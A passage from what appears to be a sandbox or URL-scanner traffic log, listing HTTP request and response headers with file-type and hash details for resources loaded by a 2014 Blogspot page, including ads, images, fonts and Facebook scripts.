X-Cache: Miss from cloudfront
Via: 1.1 b07c7e490ca2b0efa27d685db91a74ba.cloudfront.net (CloudFront)
X-Amz-Cf-Id: -LBduyAp7Gx44Hf966XSPsJb6Gqu3LzaRn8MzQ3QClczJ1bp99P83w==


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, comment: "CREATOR: gd-jpeg v1.0 (using IJ"
Size:   18150
Md5:    2b0e8bc98cd334925862449b0a849d68
Sha1:   80d82556b3ab06d069f137f82a48adcab0e24bcc
Sha256: 0b2560f1fc73442e6195f2725f1ea14a4e5b136d225b1edfb2728c1d846a36b6
                                        
                                            GET /getad.php?49080;84936;728x90 HTTP/1.1 
Host: www.cpmfun.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         164.138.221.148
HTTP/1.1 200 OK
Content-Type: text/html
                                        
Server: nginx
Date: Fri, 13 Oct 2017 14:13:49 GMT
Transfer-Encoding: chunked
Connection: close
Cache-Control: no-cache, must-revalidate
Expires: Sat, 26 Jul 1997 05:00:00 GMT
Set-Cookie: cpmfuid=02a2102877e95c611ad39c20e57de56c; expires=Sat, 14-Oct-2017 14:13:48 GMT hscc3=no; expires=Sat, 14-Oct-2017 14:13:48 GMT rp001=1; expires=Sat, 14-Oct-2017 14:13:49 GMT


--- Additional Info ---
Magic:  ASCII text, with very long lines
Size:   1253
Md5:    74e4dd440ec34b34ccdc06de613e9c69
Sha1:   3cb519ebf61ea7d87c0465de11d6a06d914f7301
Sha256: ea9a544e7f157e834b69fb0f1a8b332d21b211e6199f1394bded16d674f403d1
                                        
                                            GET /s/oswald/v15/-g5pDUSRgvxvOl5u-a_WHw.woff HTTP/1.1 
Host: fonts.gstatic.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://fonts.googleapis.com/css?family=Oswald
Origin: http://boswekol.blogspot.no

                                         
                                         172.217.22.163
HTTP/1.1 200 OK
Content-Type: font/woff
                                        
Accept-Ranges: bytes
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
Content-Length: 19388
Date: Wed, 11 Oct 2017 18:45:03 GMT
Expires: Thu, 11 Oct 2018 18:45:03 GMT
Last-Modified: Wed, 11 Oct 2017 18:22:41 GMT
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=31536000
Age: 156526


--- Additional Info ---
Magic:  data
Size:   19388
Md5:    e91ef04fe5bda068049bbe10b97f99d6
Sha1:   00e0320054af4d2dc38374358123f87c958da0ee
Sha256: 902dcc5b3301ebbb786b3121b044e09947ba9487a8c2b3951637f5835aa93dba
                                        
                                            GET /2010/8/1283172889.jpg HTTP/1.1 
Host: files2.fatakat.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         54.230.128.72
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                        
Content-Length: 45128
Connection: keep-alive
Date: Fri, 13 Oct 2017 14:13:49 GMT
Last-Modified: Wed, 11 May 2016 20:09:43 GMT
Etag: "e5fc429764994e8f428dbc494389ce45"
x-amz-meta-s3cmd-attrs: uid:0/gname:root/uname:root/gid:0/mode:33188/mtime:1462477496/atime:1462797147/md5:e5fc429764994e8f428dbc494389ce45/ctime:1462477496
Accept-Ranges: bytes
Server: AmazonS3
X-Cache: Miss from cloudfront
Via: 1.1 20de054829388032685e4b0a68ce82bc.cloudfront.net (CloudFront)
X-Amz-Cf-Id: OXDsdJ5RUfR5n4F1OQbyDbSlRZG47S8giAHakulp4SfGiHoAEgUQtg==


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, comment: "CREATOR: gd-jpeg v1.0 (using IJ"
Size:   45128
Md5:    e5fc429764994e8f428dbc494389ce45
Sha1:   1dced3b047775e64f9ce6d8c5bbfff3f2dd1f079
Sha256: 0c968aa29878b81acbcc7da623251b3705115a2689f28c0ee65158c629b7a49d
                                        
                                            GET /2010/8/1283172947.jpg HTTP/1.1 
Host: files2.fatakat.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         54.230.128.72
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                        
Content-Length: 43263
Connection: keep-alive
Date: Fri, 13 Oct 2017 14:13:49 GMT
Last-Modified: Wed, 11 May 2016 20:09:44 GMT
Etag: "8a64c823e4730a9bf2d8d39962c69986"
x-amz-meta-s3cmd-attrs: uid:0/gname:root/uname:root/gid:0/mode:33188/mtime:1462478776/atime:1462797148/md5:8a64c823e4730a9bf2d8d39962c69986/ctime:1462478776
Accept-Ranges: bytes
Server: AmazonS3
X-Cache: Miss from cloudfront
Via: 1.1 481aeb3116af8cfe075adc0004d928d7.cloudfront.net (CloudFront)
X-Amz-Cf-Id: HztISi7pKz4NSIegIsyGF8fP6LYhg7tfaO-qOU0Jcdk0xIqLNbqxfw==


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, comment: "CREATOR: gd-jpeg v1.0 (using IJ"
Size:   43263
Md5:    8a64c823e4730a9bf2d8d39962c69986
Sha1:   2f9857f48de368184c2cb382d861932e4cd1fa0b
Sha256: 998fdc27901630e49db887cb1b55c46b0eb82c27f1ccc57a708419323b158b34
                                        
                                            GET /loader/pnc1cn84qts23lretq6dytqu4wjig4kt.js HTTP/1.1 
Host: www.speakpipe.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         178.79.186.198
HTTP/1.1 200 OK
Content-Type: application/javascript; charset=utf-8
                                        
Server: nginx/1.4.4
Date: Fri, 13 Oct 2017 14:13:49 GMT
Content-Length: 36025
Connection: keep-alive
Keep-Alive: timeout=20
Expires: Tue, 01 Jan 2000 00:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, max-age=0, post-check=0, pre-check=0
Pragma: no-cache


--- Additional Info ---
Magic:  ASCII English text, with very long lines
Size:   36025
Md5:    93f6407966b70a1a33b64d318fde97b6
Sha1:   ed9a0d7e322234f1546f20021cc37aea528dd1db
Sha256: fea6f800f82f1374ca376764c3e7f57c741c123aa6dd903e5fc7d36f07b0fe17
                                        
                                            GET /-UoJbKsqjjes/U390Fg9IcoI/AAAAAAAAA3w/4yqAi5J_nCc/s1600/10413359_652127558198509_8546682818744858297_n.jpg HTTP/1.1 
Host: 3.bp.blogspot.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         172.217.22.161
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "v37d"
Expires: Sat, 14 Oct 2017 14:13:49 GMT
Cache-Control: public, max-age=86400, no-transform
Content-Disposition: inline;filename="10413359_652127558198509_8546682818744858297_n.jpg"
Vary: Origin
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Fri, 13 Oct 2017 14:13:49 GMT
Server: fife
Content-Length: 25305
X-XSS-Protection: 1; mode=block


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01
Size:   25305
Md5:    e67d6d5dea3021ef5f4d9675ca063330
Sha1:   e61654bd745acc4c59bee8f893d279fe2d66e606
Sha256: 1bad144c6fbca1a82a0eb4d46ba15a8aa7412e6276035910c24ed0386b473d8e
                                        
                                            GET /ar_AR/all.js HTTP/1.1 
Host: connect.facebook.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         31.13.72.12
HTTP/1.1 200 OK
Content-Type: application/x-javascript; charset=utf-8
                                        
Access-Control-Expose-Headers: X-FB-Content-MD5
x-fb-content-md5: 8e7d0123c1d25e1156f8b3782a12ae98
Etag: "9e00eacffd6c6d186ef71ff870f7c20b"
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Timing-Allow-Origin: *
content-security-policy: default-src * data: blob:;script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.virtualearth.net *.google.com 127.0.0.1:* *.spotilocal.com:* 'unsafe-inline' 'unsafe-eval' fbstatic-a.akamaihd.net fbcdn-static-b-a.akamaihd.net *.atlassolutions.com blob: data: 'self';style-src data: blob: 'unsafe-inline' *;connect-src *.facebook.com *.fbcdn.net *.facebook.net *.spotilocal.com:* *.akamaihd.net wss://*.facebook.com:* https://fb.scanandcleanlocal.com:* *.atlassolutions.com attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self';
Cache-Control: public,max-age=1200,stale-while-revalidate=3600
Expires: Fri, 13 Oct 2017 14:17:09 GMT
Vary: Accept-Encoding
Content-Encoding: gzip
Content-MD5: WKkqMkEV9sPokf31kRLxZw==
X-FB-Debug: C6u4+4Oa21JtXEe6csMsyKADruU/uW6xzuHoELJeejSm2uEtsbbfrrltkSLpw+iPBcisAKsoGuVy1Gl8Icvl2A==
Date: Fri, 13 Oct 2017 14:13:49 GMT
Connection: keep-alive
Content-Length: 62402


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   62402
Md5:    58a92a324115f6c3e891fdf59112f167
Sha1:   f91c85cd027f21d6718bfaa420bed816c6d3a3f3
Sha256: c6315eed723428164fc78f637a44aaad19271ffe5c62935107f9e071a43cff9d
                                        
                                            GET /-9ebgPKce4Sc/UcEtNYrmWKI/AAAAAAAAIxw/551H4dZcde8/s1600/date.png HTTP/1.1 
Host: 4.bp.blogspot.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         172.217.22.161
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "v231e"
Expires: Sat, 14 Oct 2017 14:13:49 GMT
Cache-Control: public, max-age=86400, no-transform
Content-Disposition: inline;filename="date.png"
Vary: Origin
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Fri, 13 Oct 2017 14:13:49 GMT
Server: fife
Content-Length: 705
X-XSS-Protection: 1; mode=block


--- Additional Info ---
Magic:  PNG image, 16 x 16, 8-bit/color RGBA, non-interlaced
Size:   705
Md5:    96aabfb25c83f8451702b43cb8d7abf7
Sha1:   5c01b4eb5a96c1fb9273804853b669fc965e03d8
Sha256: dfe9a4840b179502973a2b5380a3ca667b255592f7e6a06fb0d40eff0a22ea6c
                                        
                                            GET /-2PMncUGkMGo/UcEtMwinVHI/AAAAAAAAIxc/k5Isd1HXUCo/s1600/category.png HTTP/1.1 
Host: 3.bp.blogspot.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         172.217.22.161
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "v2319"
Expires: Sat, 14 Oct 2017 14:13:49 GMT
Cache-Control: public, max-age=86400, no-transform
Content-Disposition: inline;filename="category.png"
Vary: Origin
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Fri, 13 Oct 2017 14:13:49 GMT
Server: fife
Content-Length: 3147
X-XSS-Protection: 1; mode=block


--- Additional Info ---
Magic:  PNG image, 16 x 16, 8-bit/color RGBA, non-interlaced
Size:   3147
Md5:    a93f1ba3dd8cbdb2fb623b3e35f10374
Sha1:   2b8190abcf807f3da109f8829a1766f90bd8366c
Sha256: a15618bf5c69ac49bd08d5b5802b7f526dd811fd69c2c85ba04aae850769ad25
                                        
                                            GET /-TN5UhSGbArE/UcEtNFXHeSI/AAAAAAAAIxo/bJju2ht9zKc/s1600/comments.png HTTP/1.1 
Host: 3.bp.blogspot.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         172.217.22.161
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "v231b"
Expires: Sat, 14 Oct 2017 14:13:49 GMT
Cache-Control: public, max-age=86400, no-transform
Content-Disposition: inline;filename="comments.png"
Vary: Origin
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Fri, 13 Oct 2017 14:13:49 GMT
Server: fife
Content-Length: 3193
X-XSS-Protection: 1; mode=block


--- Additional Info ---
Magic:  PNG image, 16 x 16, 8-bit/color RGBA, non-interlaced
Size:   3193
Md5:    3ea606169bc92ad2732a61830433c8cd
Sha1:   db981aec82337154e65dbfd0325b906e149ee4d5
Sha256: abc26bd542295c8a1a79d86a539666abf46994f4514e89c6638ffa83d07784ff
                                        
                                            GET /-9xaDKbAbOeY/U39jUp_p4ZI/AAAAAAAAA3U/88cjVcESMgU/s1600/10371986_652093594868572_3187491778812127373_n.png HTTP/1.1 
Host: 4.bp.blogspot.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         172.217.22.161
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "v376"
Expires: Sat, 14 Oct 2017 14:13:49 GMT
Cache-Control: public, max-age=86400, no-transform
Content-Disposition: inline;filename="10371986_652093594868572_3187491778812127373_n.png"
Vary: Origin
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Fri, 13 Oct 2017 14:13:49 GMT
Server: fife
Content-Length: 441751
X-XSS-Protection: 1; mode=block


--- Additional Info ---
Magic:  PNG image, 960 x 720, 8-bit/color RGB, non-interlaced
Size:   441751
Md5:    7ba5a7c43249a554e89c843a9abe9fa1
Sha1:   1565223bf6d7781c4b5dfe20f69eac76c77779df
Sha256: 4b11612df51cf2fc434dc07deabd6a273a8cf2bd108337ffa30245d9cb1bca88
                                        
                                            GET /-Qv7p5gWpEqY/U391guAK4LI/AAAAAAAAA38/UNdMejMoIOM/s1600/1239398_652093748201890_237397236439573326_n.png HTTP/1.1 
Host: 1.bp.blogspot.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         172.217.22.161
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "v380"
Expires: Sat, 14 Oct 2017 14:13:49 GMT
Cache-Control: public, max-age=86400, no-transform
Content-Disposition: inline;filename="1239398_652093748201890_237397236439573326_n.png"
Vary: Origin
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Fri, 13 Oct 2017 14:13:49 GMT
Server: fife
Content-Length: 466234
X-XSS-Protection: 1; mode=block


--- Additional Info ---
Magic:  PNG image, 960 x 720, 8-bit/color RGB, non-interlaced
Size:   466234
Md5:    62445d19d14fcd9eb6bd7cb6272cb49a
Sha1:   906bdf894751ba86c9eac4be2229141af30f54c4
Sha256: c9d58e3a652aee83707a8efe3176885887c43838aaaa983b03901bfc093ad699
                                        
                                            GET /-lQ3yoYpNek0/U39j5M5CS-I/AAAAAAAAA3c/CDeCed48QpE/s1600/10372250_652093781535220_8246792471958204468_n.png HTTP/1.1 
Host: 3.bp.blogspot.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         172.217.22.161
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "v378"
Expires: Sat, 14 Oct 2017 14:13:49 GMT
Cache-Control: public, max-age=86400, no-transform
Content-Disposition: inline;filename="10372250_652093781535220_8246792471958204468_n.png"
Vary: Origin
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Fri, 13 Oct 2017 14:13:49 GMT
Server: fife
Content-Length: 505327
X-XSS-Protection: 1; mode=block


--- Additional Info ---
Magic:  PNG image, 960 x 720, 8-bit/color RGB, non-interlaced
Size:   505327
Md5:    00a979bb69396dae98991272400e0af1
Sha1:   94042a51f729fc777b83f4e24564f5e55b966e44
Sha256: 46ecb64d244102e0dabef4dae677d63bc8101458231c573a1f42fda3f8948a93
                                        
                                            GET /connect/xd_arbiter/r/18W0fzbK7xg.js?version=42 HTTP/1.1 
Host: staticxx.facebook.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         31.13.72.12
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
                                        
Expires: Fri, 12 Oct 2018 22:52:00 GMT
X-XSS-Protection: 0
X-Content-Type-Options: nosniff
Cache-Control: public,max-age=31536000,immutable
content-security-policy: default-src * data: blob:;script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.virtualearth.net *.google.com 127.0.0.1:* *.spotilocal.com:* 'unsafe-inline' 'unsafe-eval' fbstatic-a.akamaihd.net fbcdn-static-b-a.akamaihd.net *.atlassolutions.com blob: data: 'self';style-src data: blob: 'unsafe-inline' *;connect-src *.facebook.com *.fbcdn.net *.facebook.net *.spotilocal.com:* *.akamaihd.net wss://*.facebook.com:* https://fb.scanandcleanlocal.com:* *.atlassolutions.com attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self';
Vary: Accept-Encoding
Content-Encoding: gzip
X-FB-Debug: SniKl2VpZkt3K3zCF5dQrTg2z1x6/YT8uWiX8kqLMXputVXA/Djpyrn3k2RpplyX9cV2jDkIK+iGstFIsJX/YA==
Date: Fri, 13 Oct 2017 14:13:50 GMT
Connection: keep-alive
Content-Length: 14165


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   14165
Md5:    8d39c086e6bbfa14b977e55cfb64a61e
Sha1:   0bab824af1cf4108fa2cdd9f8c205168687a6f17
Sha256: e6a3215ff74d68fc2663a198af89df9798578a5dd25fd813828f6b2ed6f14f9e
                                        
                                            POST /GTSGIAG3 HTTP/1.1 
Host: ocsp.pki.goog
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 107
Content-Type: application/ocsp-request

                                         
                                         172.217.22.174
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Fri, 13 Oct 2017 14:13:50 GMT
Expires: Tue, 17 Oct 2017 14:13:50 GMT
Cache-Control: public, max-age=345600
Server: ocsp_responder
Content-Length: 463
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN


--- Additional Info ---
Magic:  data
Size:   463
Md5:    63c0c42876b179e938da75d435caf455
Sha1:   2496362f8b1e77dfa75695dc7c63d02afd31ef67
Sha256: e186173a64acae1a86f9725f1f063c69dd7b05c9ffaacf03329212c6411a892a
                                        
                                            GET /proxy/Ph0IwaIuc6l1evCDIJEYXE0J3wlUn7afGGF7AczURax87WTsOhZaIAMaVtxfXzXzlkbgMLwE78mAWUg_85iDIDlAbafGHrhE7-4REnf-GVarEMiti8Q HTTP/1.1 
Host: lh4.googleusercontent.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         172.217.22.161
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                        
Access-Control-Expose-Headers: Content-Length
Expires: Sat, 14 Oct 2017 14:13:50 GMT
Cache-Control: public, max-age=86400, no-transform
Content-Disposition: inline;filename="unnamed.jpg"
Vary: Origin
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Fri, 13 Oct 2017 14:13:50 GMT
Server: fife
Content-Length: 6463
X-XSS-Protection: 1; mode=block
Alt-Svc: quic=":443"; ma=2592000; v="39,38,37,35"


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01
Size:   6463
Md5:    8f288eaf6d9595cc7b973cdb0d9f58ae
Sha1:   c0af96c4b661fa8ccf8aaf1e3125081a6e5fee47
Sha256: 1067e77f1281f349f9aeae223e09303b21e7fce268bcc686ba45370fd940de20
                                        
                                            GET /gadgets/proxy?url=http%3A%2F%2F4.bp.blogspot.com%2F-9xaDKbAbOeY%2FU39jUp_p4ZI%2FAAAAAAAAA3U%2F88cjVcESMgU%2Fs1600%2F10371986_652093594868572_3187491778812127373_n.png&container=blogger&gadget=a&rewriteMime=image%2F* HTTP/1.1 
Host: images-blogger-opensocial.googleusercontent.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         172.217.22.161
HTTP/1.1 200 OK
Content-Type: image/jpeg; charset=UTF-8
                                        
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: Content-Length
Cache-Control: public,max-age=86398
Content-Disposition: attachment;filename=p.txt
Date: Fri, 13 Oct 2017 14:13:50 GMT
Expires: Sat, 14 Oct 2017 14:13:48 GMT
Content-Length: 64939
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE
Alt-Svc: quic=":443"; ma=2592000; v="39,38,37,35"


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.02
Size:   64939
Md5:    fa3b60712c0849c12ba8572e67bce85d
Sha1:   7c2d95f9df904bd9dd6ec3d57543d0dff638f5d2
Sha256: 2f190d39c48b0575a518a3aea144985a828a63c6e175dbb5e2d71befb8a1d863
                                        
                                            POST / HTTP/1.1 
Host: ocsp.digicert.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 115
Content-Type: application/ocsp-request

                                         
                                         93.184.220.29
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Accept-Ranges: bytes
Cache-Control: max-age=172800
Date: Fri, 13 Oct 2017 14:13:51 GMT
Etag: "59e0aafb-1d7"
Expires: Sun, 15 Oct 2017 14:13:51 GMT
Last-Modified: Fri, 13 Oct 2017 12:00:59 GMT
Server: ECS (arn/459B)
X-Cache: HIT
Content-Length: 471


--- Additional Info ---
Magic:  data
Size:   471
Md5:    b0fd7ba0d785319befff114b4822bab4
Sha1:   1aae95f74c736e9e5dca0a38ced04cbd0f907e01
Sha256: c022d59434eb1168cb1ed488cfe8b6451a973100eb85605a991cba006a447b6e
                                        
                                            POST / HTTP/1.1 
Host: ocsp.digicert.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 115
Content-Type: application/ocsp-request

                                         
                                         93.184.220.29
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Accept-Ranges: bytes
Cache-Control: max-age=172800
Date: Fri, 13 Oct 2017 14:13:51 GMT
Etag: "59e0980d-1d7"
Expires: Sun, 15 Oct 2017 14:13:51 GMT
Last-Modified: Fri, 13 Oct 2017 10:40:13 GMT
Server: ECS (arn/45E2)
X-Cache: HIT
Content-Length: 471


--- Additional Info ---
Magic:  data
Size:   471
Md5:    0f3ed45c89df7555fe40ad65e8a4fd28
Sha1:   b23f571516ff2a01828deb6ac4948e53a6499e44
Sha256: fe338ba2ad75395978117444521a0bd63bef724f8c4ecb0525a2f73d78a00cff
                                        
                                            GET /img/icon18_wrench_allbkg.png HTTP/1.1 
Host: resources.blogblog.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
